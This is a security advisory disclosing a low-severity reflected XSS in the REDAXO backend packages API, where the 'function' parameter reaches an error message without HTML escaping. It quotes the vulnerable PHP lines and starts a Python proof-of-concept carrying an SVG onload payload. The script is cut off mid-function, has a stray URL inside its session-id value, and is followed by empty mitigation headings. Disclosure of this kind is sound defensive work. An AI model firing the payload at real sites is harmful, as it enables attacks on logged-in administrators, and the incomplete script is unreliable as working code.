REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)
Date: 2026-04
Affected: composer/redaxo/source
Attack vector: xss
Category: vulnerability-disclosure
Severity: Low
CWE: CWE-79

### Summary A **reflected XSS** vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping. --- ### Details **Root cause** User input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping. **Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) :** ```php $function = rex_request('function', 'string'); throw new rex_api_exception('Unknown package function "' . $function . '"!'); ``` **Sink (`redaxo/src/core/lib/view.php`) :** ```php return '<div class="' . $cssClassMessage . '">' . $message . '</div>'; ``` **Source -> sink flow** * Source: `function` (GET) * Propagation: concatenated into the exception message * Sink: rendered via `rex_view::error()` -> `rex_view::message()` without escaping **Authentication required:** yes (backend session) --- ### PoC - Exploit ```python #!/usr/bin/env python3 import re import urllib.parse import requests TARGET_URL = "http://poc.local/" BACKEND_PATH = "redaxo/index.php" # A valid backend PHP session id (must belong to a user who can access the Packages page) SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598 " VERIFY_SSL = False TIMEOUT = 15 PAYLOAD = '\\"><svg/onload=alert("Pwned")>' def build_backend_url() -> str: base = TARGET_URL.rstrip('/')


Mitigations:

Architectural layers (MAESTRO):